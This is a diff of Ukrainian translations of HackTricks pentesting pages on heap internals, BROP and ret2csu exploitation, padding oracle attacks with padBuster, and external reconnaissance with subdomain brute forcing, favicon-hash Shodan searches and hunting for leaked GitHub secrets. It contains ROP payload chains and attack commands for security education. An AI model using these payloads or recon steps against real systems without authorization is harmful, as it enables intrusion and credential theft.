[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html), але в arm64: +Швидкий приклад купи з [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html), але на arm64: ```c #include #include @@ -468,27 +468,27 @@ return 0; ``` -Відлагоджуючи попередній приклад, можна побачити, що на початку є лише 1 арена: - -
- -Потім, після виклику першого потоку, який викликає malloc, створюється нова арена: +Відлагоджуючи попередній приклад, можна побачити, як на початку є лише 1 арена:
+Потім, після виклику першого потоку, того, що викликає malloc, створюється нова арена: + +
+ і всередині неї можна знайти кілька шматків: -
+
-## Контейнери та виділення/звільнення пам'яті +## Bins & Memory Allocations/Frees -Перевірте, що таке контейнери, як вони організовані та як пам'ять виділяється і звільняється в: +Перевірте, що таке bins, як вони організовані та як пам'ять виділяється і звільняється в: {% content-ref url="bins-and-memory-allocations.md" %} [bins-and-memory-allocations.md](bins-and-memory-allocations.md) {% endcontent-ref %} -## Перевірки безпеки функцій купи +## Heap Functions Security Checks Функції, пов'язані з купою, виконуватимуть певні перевірки перед виконанням своїх дій, щоб спробувати переконатися, що купа не була пошкоджена: @@ -496,7 +496,7 @@ return 0; [heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md) {% endcontent-ref %} -## Посилання +## References * [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) * [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index fba1493e8..5dd72195f 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -1,12 +1,12 @@ # unlink {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Підтримати HackTricks +Підтримайте HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -63,13 +63,13 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize; } } ``` -### Графічне пояснення +### Графічне Пояснення Перегляньте це чудове графічне пояснення процесу unlink: -

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

+

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

-### Перевірки безпеки +### Перевірки Безпеки * Перевірте, чи вказаний розмір шматка такий же, як prev\_size, вказаний у наступному шматку * Також перевірте, що `P->fd->bk == P` і `P->bk->fw == P` @@ -85,11 +85,11 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize; * Якщо P знаходиться в кінці двозв'язного списку, `fd` буде вказувати на `malloc_state` у libc * Коли двозв'язний список містить лише один вільний шматок, P знаходиться в двозв'язному списку, і обидва `fd` і `bk` можуть витікати адресу всередині `malloc_state`. -Витоки купи: +Витоки Heap: -* Якщо P знаходиться на початку двозв'язного списку, `fd` буде вказувати на доступний шматок у купі -* Якщо P знаходиться в кінці двозв'язного списку, `bk` буде вказувати на доступний шматок у купі -* Якщо P знаходиться в двозв'язному списку, обидва `fd` і `bk` будуть вказувати на доступний шматок у купі +* Якщо P знаходиться на початку двозв'язного списку, `fd` буде вказувати на доступний шматок у heap +* Якщо P знаходиться в кінці двозв'язного списку, `bk` буде вказувати на доступний шматок у heap +* Якщо P знаходиться в двозв'язному списку, обидва `fd` і `bk` будуть вказувати на доступний шматок у heap {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 504c0b3a5..635f39dea 100644 --- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -17,7 +17,7 @@ Learn & practice GCP Hacking:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Це будуть гаджети: @@ -50,11 +50,11 @@ Learn & practice GCP Hacking: , \<не читати addr>) -> збій -* strcmp(\<не читати addr>, \<читати addr>) -> збій -* strcmp(\<читати addr>, \<не читати addr>) -> збій -* strcmp(\<читати addr>, \<читати addr>) -> немає збою +* strcmp(\, \) -> збій +* strcmp(\, \) -> збій +* strcmp(\, \) -> збій +* strcmp(\, \) -> немає збою Це можна перевірити, викликавши кожен запис таблиці PLT або використовуючи **PLT повільний шлях**, який в основному полягає в **виклику запису в таблиці PLT + 0xb** (який викликає **`dlresolve`**) з наступним у стеку **номер запису, який потрібно перевірити** (починаючи з нуля), щоб просканувати всі записи PLT з першого: -* strcmp(\<не читати addr>, \<читати addr>) -> збій +* strcmp(\, \) -> збій * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Виникне збій -* strcmp(\<читати addr>, \<не читати addr>) -> збій +* strcmp(\, \) -> збій * `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -* strcmp(\<читати addr>, \<читати addr>) -> немає збою +* strcmp(\, \) -> немає збою * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` Пам'ятайте, що: @@ -106,7 +106,7 @@ Learn & practice GCP Hacking: Якщо дані надруковані, тоді знайдено puts -* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані надруковані, тоді знайдено dprintf -* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані надруковані, тоді знайдено write +* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено puts +* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено dprintf +* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено write ## Автоматичне експлуатація diff --git a/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/binary-exploitation/rop-return-oriented-programing/ret2csu.md index a50a3dc9b..6c89f0358 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -21,7 +21,7 @@ Learn & practice GCP Hacking:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Перевірте цю сторінку для отримання додаткової інформації: @@ -92,7 +92,7 @@ gef➤ search-pattern 0x400560 ### Використання виклику -Уявіть, що ви хочете зробити системний виклик або викликати функцію, таку як `write()`, але вам потрібні конкретні значення в регістрах `rdx` та `rsi` як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного. +Уявіть, що ви хочете зробити системний виклик або викликати функцію, таку як `write()`, але вам потрібні специфічні значення в регістрах `rdx` та `rsi` як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного. Ось тут і вступає в гру **ret2csu**: @@ -181,7 +181,7 @@ target.interactive() ``` ### Чому не просто використовувати libc безпосередньо? -Зазвичай ці випадки також вразливі до [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), але іноді вам потрібно контролювати більше параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція `write()` вимагає три параметри, і **знайти гаджети для встановлення всіх цих безпосередньо може бути неможливо**. +Зазвичай ці випадки також вразливі до [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), але іноді вам потрібно контролювати більше параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція `write()` вимагає трьох параметрів, і **знайти гаджети для встановлення всіх цих безпосередньо може бути неможливо**. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/crypto-and-stego/padding-oracle-priv.md b/crypto-and-stego/padding-oracle-priv.md index 09ddd4559..4a4b64447 100644 --- a/crypto-and-stego/padding-oracle-priv.md +++ b/crypto-and-stego/padding-oracle-priv.md @@ -1,8 +1,8 @@ # Padding Oracle {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,8 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -
- {% embed url="https://websec.nl/" %} ## CBC - Cipher Block Chaining @@ -75,7 +73,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon ``` ### Теорія -У **резюме**, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можна використовувати для створення всіх **різних заповнень**. Потім атака на заповнення оракула почне розшифровувати байти з кінця на початок, вгадуючи, яке буде правильне значення, що **створює заповнення 1, 2, 3 тощо**. +У **резюме**, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можна використовувати для створення всіх **різних заповнень**. Потім атака на заповнення Oracle почне розшифровувати байти з кінця на початок, вгадуючи, яке буде правильне значення, що **створює заповнення 1, 2, 3 тощо**. ![](<../.gitbook/assets/image (561).png>) @@ -105,22 +103,20 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon ### Виявлення вразливості Зареєструйтеся та увійдіть з цим обліковим записом.\ -Якщо ви **входите багато разів** і завжди отримуєте **один і той же cookie**, ймовірно, що в додатку є **щось** **неправильне**. **Cookie, що повертається, повинен бути унікальним** щоразу, коли ви входите. Якщо cookie **завжди** **однаковий**, він, ймовірно, завжди буде дійсним, і не буде способу його анулювати. +Якщо ви **входите багато разів** і завжди отримуєте **один і той же cookie**, ймовірно, в додатку є **щось** **неправильне**. **Cookie, що повертається, повинен бути унікальним** щоразу, коли ви входите. Якщо cookie **завжди** **один і той же**, він, ймовірно, завжди буде дійсним, і не буде способу його анулювати. -Тепер, якщо ви спробуєте **модифікувати** **cookie**, ви побачите, що отримуєте **помилку** від додатку.\ +Тепер, якщо ви спробуєте **модифікувати** **cookie**, ви побачите, що отримуєте **помилку** від програми.\ Але якщо ви BF заповнення (використовуючи padbuster, наприклад), ви зможете отримати інший cookie, дійсний для іншого користувача. Цей сценарій, ймовірно, вразливий до padbuster. ### Посилання * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) -
- {% embed url="https://websec.nl/" %} {% hint style="success" %} -Вчіться та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вчіться та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вчіться та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вчіться та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -128,7 +124,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github. +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
{% endhint %} diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 0a433b624..95ebebd31 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -15,37 +15,37 @@ Learn & practice GCP Hacking: {% endhint %} -
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_). +If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} ## Assets discoveries -> Отже, вам сказали, що все, що належить якійсь компанії, знаходиться в межах обсягу, і ви хочете з'ясувати, що насправді належить цій компанії. +> Отже, вам сказали, що все, що належить якійсь компанії, знаходиться в межах сфери, і ви хочете з'ясувати, що насправді належить цій компанії. Мета цього етапу - отримати всі **компанії, що належать основній компанії**, а потім всі **активи** цих компаній. Для цього ми будемо: -1. Знайти придбання основної компанії, це дасть нам компанії в межах обсягу. +1. Знайти придбання основної компанії, це дасть нам компанії в межах сфери. 2. Знайти ASN (якщо є) кожної компанії, це дасть нам діапазони IP, що належать кожній компанії. 3. Використати зворотні whois запити для пошуку інших записів (назви організацій, домени...) пов'язаних з першим (це можна зробити рекурсивно). -4. Використати інші техніки, такі як фільтри shodan `org` та `ssl`, для пошуку інших активів (трик `ssl` можна зробити рекурсивно). +4. Використати інші техніки, такі як shodan `org` та `ssl` фільтри для пошуку інших активів (трик `ssl` можна зробити рекурсивно). ### **Acquisitions** -Перш за все, нам потрібно знати, які **інші компанії належать основній компанії**.\ -Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **пошукати** основну **компанію** і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані основною.\ -Інший варіант - відвідати сторінку **Вікіпедії** основної компанії та знайти **придбання**. +По-перше, нам потрібно знати, які **інші компанії належать основній компанії**.\ +Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **пошукати** основну компанію і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані основною.\ +Інший варіант - відвідати сторінку **Вікіпедії** основної компанії і знайти **придбання**. -> Добре, на цьому етапі ви повинні знати всі компанії в межах обсягу. Давайте з'ясуємо, як знайти їх активи. +> Добре, на цьому етапі ви повинні знати всі компанії в межах сфери. Давайте з'ясуємо, як знайти їх активи. ### **ASNs** Номер автономної системи (**ASN**) - це **унікальний номер**, присвоєний **автономній системі** (AS) **Управлінням Інтернету (IANA)**.\ **AS** складається з **блоків** **IP-адрес**, які мають чітко визначену політику доступу до зовнішніх мереж і адмініструються однією організацією, але можуть складатися з кількох операторів. -Цікаво дізнатися, чи **призначила компанія будь-який ASN**, щоб знайти її **діапазони IP**. Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **обсягу** та **шукати домени** в цих IP.\ +Цікаво дізнатися, чи **компанія має призначений ASN**, щоб знайти її **діапазони IP.** Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **сфери** і **шукати домени** в цих IP.\ Ви можете **шукати** за назвою компанії, за **IP** або за **доменом** на [**https://bgp.he.net/**](https://bgp.he.net)**.**\ **Залежно від регіону компанії, ці посилання можуть бути корисними для збору додаткових даних:** [**AFRINIC**](https://www.afrinic.net) **(Африка),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Північна Америка),** [**APNIC**](https://www.apnic.net) **(Азія),** [**LACNIC**](https://www.lacnic.net) **(Латинська Америка),** [**RIPE NCC**](https://www.ripe.net) **(Європа). В будь-якому випадку, ймовірно, вся** корисна інформація **(діапазони IP та Whois)** вже з'являється за першим посиланням. ```bash @@ -101,7 +101,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Зворотний Whois (loop)** -Всередині **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні листи**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та ж електронна адреса).\ +Всередині **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні листи**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється той же електронний лист).\ Ви можете використовувати онлайн-інструменти, такі як: * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Безкоштовно** @@ -119,8 +119,8 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Трекери** -Якщо ви знайдете **той самий ID того ж трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\ -Наприклад, якщо ви бачите той самий **ID Google Analytics** або той самий **ID Adsense** на кількох сторінках. +Якщо ви знайдете **той же ID того ж трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\ +Наприклад, якщо ви бачите той же **ID Google Analytics** або той же **ID Adsense** на кількох сторінках. Є кілька сторінок і інструментів, які дозволяють вам шукати за цими трекерами та іншими: @@ -132,20 +132,20 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Favicon** -Чи знали ви, що ми можемо знайти пов'язані домени та піддомени нашої цілі, шукаючи той самий хеш значка favicon? Це саме те, що робить інструмент [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py), створений [@m4ll0k2](https://twitter.com/m4ll0k2). Ось як його використовувати: +Чи знали ви, що ми можемо знайти пов'язані домени та піддомени нашої цілі, шукаючи той же хеш значка favicon? Це саме те, що робить інструмент [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py), створений [@m4ll0k2](https://twitter.com/m4ll0k2). Ось як його використовувати: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` ![favihash - виявлення доменів з однаковим хешем значка фавікону](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка фавікону, як у нашої цілі. +Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка фавікону з нашим об'єктом. Більше того, ви також можете шукати технології, використовуючи хеш фавікону, як пояснено в [**цьому блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш значка фавікону вразливої версії веб-технології**, ви можете шукати в shodan і **знайти більше вразливих місць**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -Це те, як ви можете **обчислити хеш фавікону** веб-сайту: +Це спосіб, як ви можете **обчислити хеш фавікону** веб-сайту: ```python import mmh3 import requests @@ -201,7 +201,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -_Зверніть увагу, що іноді домен розміщений на IP, який не контролюється клієнтом, тому він не входить до сфери дії, будьте обережні._ +_Зверніть увагу, що іноді домен розміщений на IP, який не контролюється клієнтом, тому це не в межах обсягу, будьте обережні._ \ **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! @@ -226,7 +226,7 @@ dnsrecon -a -d tesla.com ``` ### **OSINT** -Найшвидший спосіб отримати багато піддоменів - це пошук у зовнішніх джерелах. Найбільш використовувані **інструменти** такі: +Найшвидший спосіб отримати багато піддоменів - це пошук у зовнішніх джерелах. Найбільш використовувані **інструменти** такі (для кращих результатів налаштуйте API ключі): * [**BBOT**](https://github.com/blacklanternsecurity/bbot) ```bash @@ -386,11 +386,11 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com Після того, як ви знайшли піддомени, використовуючи відкриті джерела та брутфорс, ви можете згенерувати варіації знайдених піддоменів, щоб спробувати знайти ще більше. Для цієї мети корисні кілька інструментів: -* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Задано домени та піддомени, генерує перестановки. +* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Задані домени та піддомени генерують перестановки. ```bash cat subdomains.txt | dnsgen - ``` -* [**goaltdns**](https://github.com/subfinder/goaltdns): Дано домени та піддомени, генеруйте перестановки. +* [**goaltdns**](https://github.com/subfinder/goaltdns): Задані домени та піддомени генерують перестановки. * Ви можете отримати перестановки goaltdns **wordlist** [**тут**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt @@ -434,7 +434,7 @@ echo www | subzuf facebook.com ### **VHosts / Віртуальні хости** -Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP-адресі**, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP-адресі**. +Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP**-адресі, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP**. #### OSINT @@ -462,7 +462,7 @@ VHostScan -t example.com ### **CORS Brute Force** -Іноді ви знайдете сторінки, які повертають заголовок _**Access-Control-Allow-Origin**_ лише тоді, коли дійсний домен/піддомен встановлений у заголовку _**Origin**_. У цих сценаріях ви можете зловживати цією поведінкою, щоб **виявити** нові **піддомени**. +Іноді ви знайдете сторінки, які повертають заголовок _**Access-Control-Allow-Origin**_ лише тоді, коли в заголовку _**Origin**_ встановлено дійсний домен/піддомен. У цих сценаріях ви можете зловживати цією поведінкою, щоб **виявити** нові **піддомени**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` @@ -473,11 +473,11 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ### **Моніторинг** -Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **журнали прозорості сертифікатів** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). +Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **журнали прозорості сертифікатів**, що робить [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). ### **Пошук вразливостей** -Перевірте на можливі [**взяття субдоменів**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +Перевірте на можливі [**взяття субдоменів під контроль**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Якщо **субдомен** вказує на якийсь **S3 бакет**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/). Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі трюки для "атаки" на них**.\ @@ -532,7 +532,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Потім, з цими словами, ви повинні згенерувати **пермутації** (перевірте [**Другий раунд DNS Brute-Force**](./#second-dns-bruteforce-round) для отримання додаткової інформації). +Потім, з цими словами, ви повинні згенерувати **пермутації** (перегляньте [**Другий раунд DNS Brute-Force**](./#second-dns-bruteforce-round) для отримання додаткової інформації). З отриманими словниками ви можете використовувати такі інструменти, як [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **або** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** @@ -544,7 +544,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## Електронні листи -З **доменами** та **піддоменами** в межах сфери у вас, по суті, є все, що вам **потрібно, щоб почати шукати електронні листи**. Це **API** та **інструменти**, які найкраще працювали для мене, щоб знайти електронні листи компанії: +З **доменами** та **піддоменами** в межах сфери у вас, по суті, є все, що вам **потрібно для початку пошуку електронних листів**. Ось **API** та **інструменти**, які найкраще працювали для мене для знаходження електронних листів компанії: * [**theHarvester**](https://github.com/laramies/theHarvester) - з API * API [**https://hunter.io/**](https://hunter.io/) (безкоштовна версія) @@ -573,13 +573,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### Витоки Github Облікові дані та API можуть бути витікали в **публічних репозиторіях** **компанії** або **користувачів**, які працюють на цю компанію в GitHub.\ -Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** та автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них. +Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** і автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них. **Leakos** також можна використовувати для запуску **gitleaks** проти всього **тексту**, наданого **URL-адресами**, оскільки іноді **веб-сторінки також містять секрети**. -#### Dork'и Github +#### Dorks Github -Перевірте також цю **сторінку** на предмет потенційних **dork'ів github**, які ви також могли б шукати в організації, яку ви атакуєте: +Перевірте також цю **сторінку** на предмет потенційних **github dorks**, які ви також могли б шукати в організації, яку ви атакуєте: {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) @@ -587,14 +587,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### Витоки Pastes -Іноді зловмисники або просто працівники **публікують вміст компанії на сайті для вставок**. Це може або не може містити **конфіденційну інформацію**, але це дуже цікаво шукати.\ -Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos), щоб шукати більш ніж на 80 сайтах для вставок одночасно. +Іноді зловмисники або просто працівники **публікують вміст компанії на сайті паст**. Це може або не може містити **конфіденційну інформацію**, але це дуже цікаво шукати.\ +Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos), 